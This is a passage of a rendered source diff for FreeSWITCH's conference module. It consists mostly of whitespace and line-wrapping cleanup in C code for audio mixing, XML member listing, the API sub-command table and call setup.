</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_DEBUG,
+                                                                 "Outbound conference channel answered, setting CFLAG_ANSWERED\n");
</ins><span class="cx">                                 switch_set_flag(member->conference, CFLAG_ANSWERED);
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="lines">@@ -2351,8 +2354,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session),
</span><span class="cx">                                                          SWITCH_LOG_INFO,
</span><span class="cx">                                                          "executing caller control '%s' param '%s' on call '%u, %s\n",
</span><del>-                                                         caller_action->fndesc->key,
-                                                         param ? param : "none", member->id, switch_channel_get_name(channel));
</del><ins>+                                                         caller_action->fndesc->key, param ? param : "none", member->id, switch_channel_get_name(channel));
</ins><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">                         caller_action->fndesc->handler(member, caller_action);
</span><span class="lines">@@ -2361,7 +2363,7 @@
</span><span class="cx">                         caller_action = NULL;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                
</del><ins>+
</ins><span class="cx">                 use_buffer = NULL;
</span><span class="cx">                 mux_used = (uint32_t) switch_buffer_inuse(member->mux_buffer);
</span><span class="cx">
</span><span class="lines">@@ -2376,10 +2378,10 @@
</span><span class="cx">                                 switch_set_flag_locked(member, MFLAG_FLUSH_BUFFER);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 use_timer = 1;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (mux_used) {
</span><span class="cx">                         /* Flush the output buffer and write all the data (presumably muxed) back to the channel */
</span><span class="cx">                         switch_mutex_lock(member->audio_out_mutex);
</span><span class="lines">@@ -2412,7 +2414,7 @@
</span><span class="cx">                 } else if (!switch_test_flag(member->conference, CFLAG_WASTE_BANDWIDTH)) {
</span><span class="cx">                         if (switch_test_flag(member, MFLAG_WASTE_BANDWIDTH)) {
</span><span class="cx">                                 if (member->conference->comfort_noise_level) {
</span><del>-                                                switch_generate_sln_silence(write_frame.data, samples, member->conference->comfort_noise_level);
</del><ins>+                                        switch_generate_sln_silence(write_frame.data, samples, member->conference->comfort_noise_level);
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         memset(write_frame.data, 255, bytes);
</span><span class="cx">                                 }
</span><span class="lines">@@ -2420,7 +2422,7 @@
</span><span class="cx">                                 write_frame.datalen = bytes;
</span><span class="cx">                                 write_frame.samples = samples;
</span><span class="cx">                                 write_frame.timestamp = timer.samplecount;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_core_session_write_frame(member->session, &write_frame, SWITCH_IO_FLAG_NONE, 0);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -2433,7 +2435,7 @@
</span><span class="cx">                         }
</span><span class="cx">                         switch_clear_flag_locked(member, MFLAG_FLUSH_BUFFER);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_mutex_unlock(member->write_mutex);
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -2446,14 +2448,14 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_ivr_parse_all_messages(member->session);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (use_timer) {
</span><span class="cx">                         switch_core_timer_next(&timer);
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_cond_next();
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-        } /* Rinse ... Repeat */
</del><ins>+        }                                                        /* Rinse ... Repeat */
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (member->digit_stream != NULL) {
</span><span class="lines">@@ -2544,7 +2546,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Joining Conference\n");
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         fh.pre_buffer_datalen = SWITCH_DEFAULT_FILE_BUFFER_LEN;
</span><span class="cx">
</span><span class="cx">         if (switch_core_file_open(&fh,
</span><span class="lines">@@ -2572,7 +2574,7 @@
</span><span class="cx">         while (switch_test_flag(member, MFLAG_RUNNING) && switch_test_flag(conference, CFLAG_RUNNING) && conference->count) {
</span><span class="cx">                 switch_size_t len = 0;
</span><span class="cx">                 mux_used = (uint32_t) switch_buffer_inuse(member->mux_buffer);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_test_flag(member, MFLAG_FLUSH_BUFFER)) {
</span><span class="cx">                         if (mux_used) {
</span><span class="cx">                                 switch_mutex_lock(member->audio_out_mutex);
</span><span class="lines">@@ -2595,13 +2597,13 @@
</span><span class="cx">                                         len = (switch_size_t) rlen / sizeof(int16_t);
</span><span class="cx">                                 }
</span><span class="cx">                                 switch_mutex_unlock(member->audio_out_mutex);
</span><del>-                        }
-                        
</del><ins>+                        }
+
</ins><span class="cx">                         if (len < (switch_size_t) samples) {
</span><del>-                                memset(data_buf + (len * sizeof(int16_t)), 255, ((switch_size_t)samples - len) * sizeof(int16_t));
</del><ins>+                                memset(data_buf + (len * sizeof(int16_t)), 255, ((switch_size_t) samples - len) * sizeof(int16_t));
</ins><span class="cx">                                 len = (switch_size_t) samples;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!len || switch_core_file_write(&fh, data_buf, &len) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Write Failed\n");
</span><span class="cx">                                 switch_clear_flag_locked(member, MFLAG_RUNNING);
</span><span class="lines">@@ -2712,12 +2714,12 @@
</span><span class="cx">         for (imember = conference->members; imember; imember = imember->next) {
</span><span class="cx">                 /* don't send to self */
</span><span class="cx">                 if (imember->id == member->id) {
</span><del>-                        continue;                         
</del><ins>+                        continue;
</ins><span class="cx">                 }
</span><span class="cx">                 if (imember->session) {
</span><span class="cx">                         const char *p;
</span><span class="cx">                         for (p = dtmf; p && *p; p++) {
</span><del>-                                switch_dtmf_t digit = { *p, SWITCH_DEFAULT_DTMF_DURATION};
</del><ins>+                                switch_dtmf_t digit = { *p, SWITCH_DEFAULT_DTMF_DURATION };
</ins><span class="cx">                                 lock_member(imember);
</span><span class="cx">                                 switch_core_session_kill_channel(imember->session, SWITCH_SIG_BREAK);
</span><span class="cx">                                 switch_core_session_send_dtmf(imember->session, &digit);
</span><span class="lines">@@ -3480,9 +3482,7 @@
</span><span class="cx">                         stream->write_function(stream, "Conference %s (%u member%s rate: %u%s)\n",
</span><span class="cx">                                                                  conference->name,
</span><span class="cx">                                                                  conference->count,
</span><del>-                                                                 conference->count == 1 ? "" : "s",
-                                                                 conference->rate,
-                                                                 switch_test_flag(conference, CFLAG_LOCKED) ? " locked" : "");
</del><ins>+                                                                 conference->count == 1 ? "" : "s", conference->rate, switch_test_flag(conference, CFLAG_LOCKED) ? " locked" : "");
</ins><span class="cx">                         count++;
</span><span class="cx">                         if (!summary) {
</span><span class="cx">                                 if (pretty) {
</span><span class="lines">@@ -3520,7 +3520,7 @@
</span><span class="cx">
</span><span class="cx">         x_tag = switch_xml_add_child_d(x_member, name, off);
</span><span class="cx">         switch_assert(x_tag);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_zmalloc(data, dlen);
</span><span class="cx">
</span><span class="cx">         switch_url_encode(value, data, dlen);
</span><span class="lines">@@ -3537,7 +3537,7 @@
</span><span class="cx">         char *ival = i;
</span><span class="cx">         switch_assert(conference != NULL);
</span><span class="cx">         switch_assert(x_conference != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_set_attr_d(x_conference, "name", conference->name);
</span><span class="cx">         switch_snprintf(i, sizeof(i), "%d", conference->count);
</span><span class="cx">         switch_xml_set_attr_d(x_conference, "member-count", ival);
</span><span class="lines">@@ -3547,7 +3547,7 @@
</span><span class="cx">         if (switch_test_flag(conference, CFLAG_LOCKED)) {
</span><span class="cx">                 switch_xml_set_attr_d(x_conference, "locked", "true");
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(conference, CFLAG_DESTRUCT)) {
</span><span class="cx">                 switch_xml_set_attr_d(x_conference, "destruct", "true");
</span><span class="cx">         }
</span><span class="lines">@@ -3578,7 +3578,7 @@
</span><span class="cx">
</span><span class="cx">         x_members = switch_xml_add_child_d(x_conference, "members", 0);
</span><span class="cx">         switch_assert(x_members);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(conference->member_mutex);
</span><span class="cx">
</span><span class="cx">         for (member = conference->members; member; member = member->next) {
</span><span class="lines">@@ -3589,7 +3589,7 @@
</span><span class="cx">                 uint32_t count = 0;
</span><span class="cx">                 switch_xml_t x_tag;
</span><span class="cx">                 int toff = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_test_flag(member, MFLAG_NOCHANNEL)) {
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="lines">@@ -3599,7 +3599,7 @@
</span><span class="cx">                 profile = switch_channel_get_caller_profile(channel);
</span><span class="cx">                 name = switch_channel_get_name(channel);
</span><span class="cx">
</span><del>-                
</del><ins>+
</ins><span class="cx">                 x_member = switch_xml_add_child_d(x_members, "member", moff++);
</span><span class="cx">                 switch_assert(x_member);
</span><span class="cx">
</span><span class="lines">@@ -3609,8 +3609,8 @@
</span><span class="cx">                 add_x_tag(x_member, "uuid", uuid, toff++);
</span><span class="cx">                 add_x_tag(x_member, "caller_id_name", profile->caller_id_name, toff++);
</span><span class="cx">                 add_x_tag(x_member, "caller_id_number", profile->caller_id_number, toff++);
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 x_flags = switch_xml_add_child_d(x_member, "flags", count++);
</span><span class="cx">                 switch_assert(x_flags);
</span><span class="cx">
</span><span class="lines">@@ -3625,16 +3625,16 @@
</span><span class="cx">
</span><span class="cx">                 x_tag = switch_xml_add_child_d(x_flags, "has_video", count++);
</span><span class="cx">                 switch_xml_set_txt_d(x_tag, switch_channel_test_flag(switch_core_session_get_channel(member->session), CF_VIDEO) ? "true" : "false");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 x_tag = switch_xml_add_child_d(x_flags, "has_floor", count++);
</span><span class="cx">                 switch_xml_set_txt_d(x_tag, (member == member->conference->floor_holder) ? "true" : "false");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 x_tag = switch_xml_add_child_d(x_flags, "is_moderator", count++);
</span><span class="cx">                 switch_xml_set_txt_d(x_tag, switch_test_flag(member, MFLAG_MOD) ? "true" : "false");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 x_tag = switch_xml_add_child_d(x_flags, "end_conference", count++);
</span><span class="cx">                 switch_xml_set_txt_d(x_tag, switch_test_flag(member, MFLAG_ENDCONF) ? "true" : "false");
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_mutex_unlock(conference->member_mutex);
</span><span class="lines">@@ -3650,13 +3650,13 @@
</span><span class="cx">
</span><span class="cx">         x_conferences = switch_xml_new("conferences");
</span><span class="cx">         switch_assert(x_conferences);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (conference == NULL) {
</span><span class="cx">                 switch_mutex_lock(globals.hash_mutex);
</span><span class="cx">                 for (hi = switch_hash_first(NULL, globals.conference_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                         switch_hash_this(hi, NULL, NULL, &val);
</span><span class="cx">                         conference = (conference_obj_t *) val;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         x_conference = switch_xml_add_child_d(x_conferences, "conference", off++);
</span><span class="cx">                         switch_assert(conference);
</span><span class="cx">
</span><span class="lines">@@ -4009,7 +4009,7 @@
</span><span class="cx">
</span><span class="cx">         switch_uuid_get(&uuid);
</span><span class="cx">         switch_uuid_format(uuid_str, &uuid);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (conference) {
</span><span class="cx">                 conference_outcall_bg(conference, NULL, NULL, argv[2], 60, NULL, argv[4], argv[3], uuid_str);
</span><span class="cx">         } else {
</span><span class="lines">@@ -4049,7 +4049,7 @@
</span><span class="cx">                         switch_channel_t *channel;
</span><span class="cx">                         switch_event_t *event;
</span><span class="cx">                         switch_xml_t cxml = NULL, cfg = NULL, profiles = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!id || !(member = conference_member_get(conference, id))) {
</span><span class="cx">                                 stream->write_function(stream, "No Member %u in conference %s.\n", id, conference->name);
</span><span class="cx">                                 continue;
</span><span class="lines">@@ -4154,7 +4154,7 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         unlock_member(member);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         stream->write_function(stream, "OK Member '%d' sent to conference %s.\n", member->id, argv[2]);
</span><span class="cx">
</span><span class="cx">                         /* tell them what happened */
</span><span class="lines">@@ -4177,7 +4177,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx"> done:
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (locked) {
</span><span class="cx">                 switch_mutex_unlock(globals.setup_mutex);
</span><span class="cx">                 locked = 0;
</span><span class="lines">@@ -4269,43 +4269,43 @@
</span><span class="cx"> /* API Interface Function sub-commands */
</span><span class="cx"> /* Entries in this list should be kept in sync with the enum above */
</span><span class="cx"> static api_command_t conf_api_sub_commands[] = {
</span><del>-        {"list", (void_fn_t) &conf_api_sub_list, CONF_API_SUB_ARGS_SPLIT, "<confname> list [delim <string>]"},
-        {"xml_list", (void_fn_t) &conf_api_sub_xml_list, CONF_API_SUB_ARGS_SPLIT, "<confname> xml_list"},
-        {"energy", (void_fn_t) &conf_api_sub_energy, CONF_API_SUB_MEMBER_TARGET,
</del><ins>+        {"list", (void_fn_t) & conf_api_sub_list, CONF_API_SUB_ARGS_SPLIT, "<confname> list [delim <string>]"},
+        {"xml_list", (void_fn_t) & conf_api_sub_xml_list, CONF_API_SUB_ARGS_SPLIT, "<confname> xml_list"},
+        {"energy", (void_fn_t) & conf_api_sub_energy, CONF_API_SUB_MEMBER_TARGET,
</ins><span class="cx">          "<confname> energy <member_id|all|last> [<newval>]"},
</span><del>-        {"volume_in", (void_fn_t) &conf_api_sub_volume_in, CONF_API_SUB_MEMBER_TARGET,
</del><ins>+        {"volume_in", (void_fn_t) & conf_api_sub_volume_in, CONF_API_SUB_MEMBER_TARGET,
</ins><span class="cx">          "<confname> volume_in <member_id|all|last> [<newval>]"},
</span><del>-        {"volume_out", (void_fn_t) &conf_api_sub_volume_out, CONF_API_SUB_MEMBER_TARGET,
</del><ins>+        {"volume_out", (void_fn_t) & conf_api_sub_volume_out, CONF_API_SUB_MEMBER_TARGET,
</ins><span class="cx">          "<confname> volume_out <member_id|all|last> [<newval>]"},
</span><del>-        {"play", (void_fn_t) &conf_api_sub_play, CONF_API_SUB_ARGS_SPLIT, "<confname> play <file_path> [async|<member_id>]"},
-        {"say", (void_fn_t) &conf_api_sub_say, CONF_API_SUB_ARGS_AS_ONE, "<confname> say <text>"},
-        {"saymember", (void_fn_t) &conf_api_sub_saymember, CONF_API_SUB_ARGS_AS_ONE,
</del><ins>+        {"play", (void_fn_t) & conf_api_sub_play, CONF_API_SUB_ARGS_SPLIT, "<confname> play <file_path> [async|<member_id>]"},
+        {"say", (void_fn_t) & conf_api_sub_say, CONF_API_SUB_ARGS_AS_ONE, "<confname> say <text>"},
+        {"saymember", (void_fn_t) & conf_api_sub_saymember, CONF_API_SUB_ARGS_AS_ONE,
</ins><span class="cx">          "<confname> saymember <member_id> <text>"},
</span><del>-        {"stop", (void_fn_t) &conf_api_sub_stop, CONF_API_SUB_ARGS_SPLIT,
</del><ins>+        {"stop", (void_fn_t) & conf_api_sub_stop, CONF_API_SUB_ARGS_SPLIT,
</ins><span class="cx">          "<confname> stop <[current|all|async|last]> [<member_id>]"},
</span><del>-        {"dtmf", (void_fn_t) &conf_api_sub_dtmf, CONF_API_SUB_MEMBER_TARGET,
</del><ins>+        {"dtmf", (void_fn_t) & conf_api_sub_dtmf, CONF_API_SUB_MEMBER_TARGET,
</ins><span class="cx">          "<confname> dtmf <[member_id|all|last]> <digits>"},
</span><del>-        {"kick", (void_fn_t) &conf_api_sub_kick, CONF_API_SUB_MEMBER_TARGET, "<confname> kick <[member_id|all|last]>"},
-        {"mute", (void_fn_t) &conf_api_sub_mute, CONF_API_SUB_MEMBER_TARGET, "<confname> mute <[member_id|all]|last>"},
-        {"unmute", (void_fn_t) &conf_api_sub_unmute, CONF_API_SUB_MEMBER_TARGET,
</del><ins>+        {"kick", (void_fn_t) & conf_api_sub_kick, CONF_API_SUB_MEMBER_TARGET, "<confname> kick <[member_id|all|last]>"},
+        {"mute", (void_fn_t) & conf_api_sub_mute, CONF_API_SUB_MEMBER_TARGET, "<confname> mute <[member_id|all]|last>"},
+        {"unmute", (void_fn_t) & conf_api_sub_unmute, CONF_API_SUB_MEMBER_TARGET,
</ins><span class="cx">          "<confname> unmute <[member_id|all]|last>"},
</span><del>-        {"deaf", (void_fn_t) &conf_api_sub_deaf, CONF_API_SUB_MEMBER_TARGET, "<confname> deaf <[member_id|all]|last>"},
-        {"undeaf", (void_fn_t) &conf_api_sub_undeaf, CONF_API_SUB_MEMBER_TARGET,
</del><ins>+        {"deaf", (void_fn_t) & conf_api_sub_deaf, CONF_API_SUB_MEMBER_TARGET, "<confname> deaf <[member_id|all]|last>"},
+        {"undeaf", (void_fn_t) & conf_api_sub_undeaf, CONF_API_SUB_MEMBER_TARGET,
</ins><span class="cx">          "<confname> undeaf <[member_id|all]|last>"},
</span><del>-        {"relate", (void_fn_t) &conf_api_sub_relate, CONF_API_SUB_ARGS_SPLIT,
</del><ins>+        {"relate", (void_fn_t) & conf_api_sub_relate, CONF_API_SUB_ARGS_SPLIT,
</ins><span class="cx">          "<confname> relate <member_id> <other_member_id> [nospeak|nohear|clear]"},
</span><del>-        {"lock", (void_fn_t) &conf_api_sub_lock, CONF_API_SUB_ARGS_SPLIT, "<confname> lock"},
-        {"unlock", (void_fn_t) &conf_api_sub_unlock, CONF_API_SUB_ARGS_SPLIT, "<confname> unlock"},
-        {"dial", (void_fn_t) &conf_api_sub_dial, CONF_API_SUB_ARGS_SPLIT,
</del><ins>+        {"lock", (void_fn_t) & conf_api_sub_lock, CONF_API_SUB_ARGS_SPLIT, "<confname> lock"},
+        {"unlock", (void_fn_t) & conf_api_sub_unlock, CONF_API_SUB_ARGS_SPLIT, "<confname> unlock"},
+        {"dial", (void_fn_t) & conf_api_sub_dial, CONF_API_SUB_ARGS_SPLIT,
</ins><span class="cx">          "<confname> dial <endpoint_module_name>/<destination> <callerid number> <callerid name>"},
</span><del>-        {"bgdial", (void_fn_t) &conf_api_sub_bgdial, CONF_API_SUB_ARGS_SPLIT,
</del><ins>+        {"bgdial", (void_fn_t) & conf_api_sub_bgdial, CONF_API_SUB_ARGS_SPLIT,
</ins><span class="cx">          "<confname> bgdial <endpoint_module_name>/<destination> <callerid number> <callerid name>"},
</span><del>-        {"transfer", (void_fn_t) &conf_api_sub_transfer, CONF_API_SUB_ARGS_SPLIT,
</del><ins>+        {"transfer", (void_fn_t) & conf_api_sub_transfer, CONF_API_SUB_ARGS_SPLIT,
</ins><span class="cx">          "<confname> transfer <conference_name> <member id> [...<member id>]"},
</span><del>-        {"record", (void_fn_t) &conf_api_sub_record, CONF_API_SUB_ARGS_SPLIT, "<confname> record <filename>"},
-        {"norecord", (void_fn_t) &conf_api_sub_norecord, CONF_API_SUB_ARGS_SPLIT, "<confname> norecord <[filename|all]>"},
-        {"pin", (void_fn_t) &conf_api_sub_pin, CONF_API_SUB_ARGS_SPLIT, "<confname> pin <pin#>"},
-        {"nopin", (void_fn_t) &conf_api_sub_pin, CONF_API_SUB_ARGS_SPLIT, "<confname> nopin"},
</del><ins>+        {"record", (void_fn_t) & conf_api_sub_record, CONF_API_SUB_ARGS_SPLIT, "<confname> record <filename>"},
+        {"norecord", (void_fn_t) & conf_api_sub_norecord, CONF_API_SUB_ARGS_SPLIT, "<confname> norecord <[filename|all]>"},
+        {"pin", (void_fn_t) & conf_api_sub_pin, CONF_API_SUB_ARGS_SPLIT, "<confname> pin <pin#>"},
+        {"nopin", (void_fn_t) & conf_api_sub_pin, CONF_API_SUB_ARGS_SPLIT, "<confname> nopin"},
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> #define CONFFUNCAPISIZE (sizeof(conf_api_sub_commands)/sizeof(conf_api_sub_commands[0]))
</span><span class="lines">@@ -4553,8 +4553,10 @@
</span><span class="cx">
</span><span class="cx">         /* establish an outbound call leg */
</span><span class="cx">
</span><del>-        if (switch_ivr_originate(session, &peer_session, cause, bridgeto, timeout, NULL, cid_name, cid_num, NULL, NULL, SOF_NONE, NULL) != SWITCH_STATUS_SUCCESS) {
-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot create outgoing channel, cause: %s\n", switch_channel_cause2str(*cause));
</del><ins>+        if (switch_ivr_originate(session, &peer_session, cause, bridgeto, timeout, NULL, cid_name, cid_num, NULL, NULL, SOF_NONE, NULL) !=
+                SWITCH_STATUS_SUCCESS) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot create outgoing channel, cause: %s\n",
+                                                 switch_channel_cause2str(*cause));
</ins><span class="cx">                 if (caller_channel) {
</span><span class="cx">                         switch_channel_hangup(caller_channel, *cause);
</span><span class="cx">                 }
</span><span class="lines">@@ -4639,7 +4641,7 @@
</span><span class="cx">         if (call) {
</span><span class="cx">                 switch_call_cause_t cause;
</span><span class="cx">                 switch_event_t *event;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 conference_outcall(call->conference, call->conference_name,
</span><span class="cx">                                                  call->session, call->bridgeto, call->timeout, call->flags, call->cid_name, call->cid_num, &cause);
</span><span class="cx">
</span><span class="lines">@@ -4707,7 +4709,7 @@
</span><span class="cx">         if (conference_name) {
</span><span class="cx">                 call->conference_name = strdup(conference_name);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (call_uuid) {
</span><span class="cx">                 call->uuid = strdup(call_uuid);
</span><span class="cx">         }
</span><span class="lines">@@ -4722,7 +4724,8 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /* Play a file */
</span><del>-static switch_status_t conference_local_play_file(conference_obj_t *conference, switch_core_session_t *session, char *path, uint32_t leadin, void *buf, uint32_t buflen)
</del><ins>+static switch_status_t conference_local_play_file(conference_obj_t *conference, switch_core_session_t *session, char *path, uint32_t leadin, void *buf,
+                                                                                                 uint32_t buflen)
</ins><span class="cx"> {
</span><span class="cx">         uint32_t x = 0;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -4792,7 +4795,7 @@
</span><span class="cx">                 char *argv[10] = { 0 };
</span><span class="cx">                 int i, argc = 0;
</span><span class="cx">
</span><del>-                for(p = dup; p && *p; p++) {
</del><ins>+                for (p = dup; p && *p; p++) {
</ins><span class="cx">                         if (*p == ',') {
</span><span class="cx">                                 *p = '|';
</span><span class="cx">                         }
</span><span class="lines">@@ -4800,7 +4803,7 @@
</span><span class="cx">
</span><span class="cx">                 argc = switch_separate_string(dup, '|', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">
</span><del>-                for(i = 0; i < argc && argv[i]; i++) {
</del><ins>+                for (i = 0; i < argc && argv[i]; i++) {
</ins><span class="cx">                         if (!strcasecmp(argv[i], "mute")) {
</span><span class="cx">                                 *f &= ~MFLAG_CAN_SPEAK;
</span><span class="cx">                         } else if (!strcasecmp(argv[i], "deaf")) {
</span><span class="lines">@@ -4834,7 +4837,7 @@
</span><span class="cx">                 char *argv[10] = { 0 };
</span><span class="cx">                 int i, argc = 0;
</span><span class="cx">
</span><del>-                for(p = dup; p && *p; p++) {
</del><ins>+                for (p = dup; p && *p; p++) {
</ins><span class="cx">                         if (*p == ',') {
</span><span class="cx">                                 *p = '|';
</span><span class="cx">                         }
</span><span class="lines">@@ -4842,7 +4845,7 @@
</span><span class="cx">
</span><span class="cx">                 argc = switch_separate_string(dup, '|', argv, (sizeof(argv) / sizeof(argv[0])));
</span><span class="cx">
</span><del>-                for(i = 0; i < argc && argv[i]; i++) {
</del><ins>+                for (i = 0; i < argc && argv[i]; i++) {
</ins><span class="cx">                         if (!strcasecmp(argv[i], "wait-mod")) {
</span><span class="cx">                                 *f |= CFLAG_WAIT_MOD;
</span><span class="cx">                         } else if (!strcasecmp(argv[i], "video-floor-only")) {
</span><span class="lines">@@ -4957,7 +4960,7 @@
</span><span class="cx">
</span><span class="cx"> static int setup_media(conference_member_t *member, conference_obj_t *conference)
</span><span class="cx"> {
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         switch_core_session_get_read_impl(member->session, &read_impl);
</span><span class="cx">
</span><span class="cx">         switch_core_session_reset(member->session, SWITCH_TRUE, SWITCH_FALSE);
</span><span class="lines">@@ -5025,8 +5028,7 @@
</span><span class="cx">                                                          read_impl.microseconds_per_packet / 1000,
</span><span class="cx">                                                          1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, member->pool) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_DEBUG,
</span><del>-                                                 "Raw Codec Activation Success L16@%uhz 1 channel %dms\n",
-                                                 conference->rate, read_impl.microseconds_per_packet / 1000);
</del><ins>+                                                 "Raw Codec Activation Success L16@%uhz 1 channel %dms\n", conference->rate, read_impl.microseconds_per_packet / 1000);
</ins><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_DEBUG, "Raw Codec Activation Failed L16@%uhz 1 channel %dms\n",
</span><span class="cx">                                                  conference->rate, read_impl.microseconds_per_packet / 1000);
</span><span class="lines">@@ -5047,15 +5049,15 @@
</span><span class="cx">
</span><span class="cx">         return 0;
</span><span class="cx">
</span><del>- codec_done1:
</del><ins>+ codec_done1:
</ins><span class="cx">         switch_core_codec_destroy(&member->read_codec);
</span><del>- codec_done2:
</del><ins>+ codec_done2:
</ins><span class="cx">         switch_core_codec_destroy(&member->write_codec);
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         return -1;
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -5104,7 +5106,7 @@
</span><span class="cx">
</span><span class="cx">         if ((flags_str = strstr(mydata, flags_prefix))) {
</span><span class="cx">                 char *p;
</span><del>-                *((char *)flags_str) = '\0';
</del><ins>+                *((char *) flags_str) = '\0';
</ins><span class="cx">                 flags_str += strlen(flags_prefix);
</span><span class="cx">                 if ((p = strchr(flags_str, '}'))) {
</span><span class="cx">                         *p = '\0';
</span><span class="lines">@@ -5143,7 +5145,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 profile_name = "default";
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx"> #if 0
</span><span class="cx">         if (0) {
</span><span class="cx">                 member.dtmf_parser = conference->dtmf_parser;
</span><span class="lines">@@ -5234,7 +5236,7 @@
</span><span class="cx">                 if (!conference) {
</span><span class="cx">                         /* couldn't find the conference, create one */
</span><span class="cx">                         conference = conference_new(conf_name, xml_cfg, NULL);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!conference) {
</span><span class="cx">                                 goto done;
</span><span class="cx">                         }
</span><span class="lines">@@ -5254,7 +5256,7 @@
</span><span class="cx">                         if (zstr(conference->perpetual_sound)) {
</span><span class="cx">                                 conference->perpetual_sound = switch_core_strdup(conference->pool, switch_channel_get_variable(channel, "conference_perpetual_sound"));
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /* Set the minimum number of members (once you go above it you cannot go below it) */
</span><span class="cx">                         conference->min = 1;
</span><span class="cx">
</span><span class="lines">@@ -5263,7 +5265,7 @@
</span><span class="cx">
</span><span class="cx">                         /* Start the conference thread for this conference */
</span><span class="cx">                         launch_conference_thread(conference);
</span><del>-                } else { /* setup user variable */
</del><ins>+                } else {                                /* setup user variable */
</ins><span class="cx">                         switch_channel_set_variable(channel, "conference_name", conference->name);
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -5290,23 +5292,23 @@
</span><span class="cx">
</span><span class="cx">                         /* Answer the channel */
</span><span class="cx">                         switch_channel_answer(channel);
</span><del>-                        
-                        /* look for PIN in channel variable first. If not present or invalid revert to prompting user */
</del><ins>+
+                        /* look for PIN in channel variable first. If not present or invalid revert to prompting user */
</ins><span class="cx">                         supplied_pin_value = switch_core_strdup(conference->pool, switch_channel_get_variable(channel, "supplied_pin"));
</span><del>-                        if (!zstr(supplied_pin_value)){
</del><ins>+                        if (!zstr(supplied_pin_value)) {
</ins><span class="cx">                                 char *supplied_pin_value_start;
</span><span class="cx">                                 int i = 0;
</span><del>-                                if ((supplied_pin_value_start = (char *)switch_stristr(cf_pin_url_param_name, supplied_pin_value))){
</del><ins>+                                if ((supplied_pin_value_start = (char *) switch_stristr(cf_pin_url_param_name, supplied_pin_value))) {
</ins><span class="cx">                                         /* pin supplied as a URL parameter, move pointer to start of actual pin value */
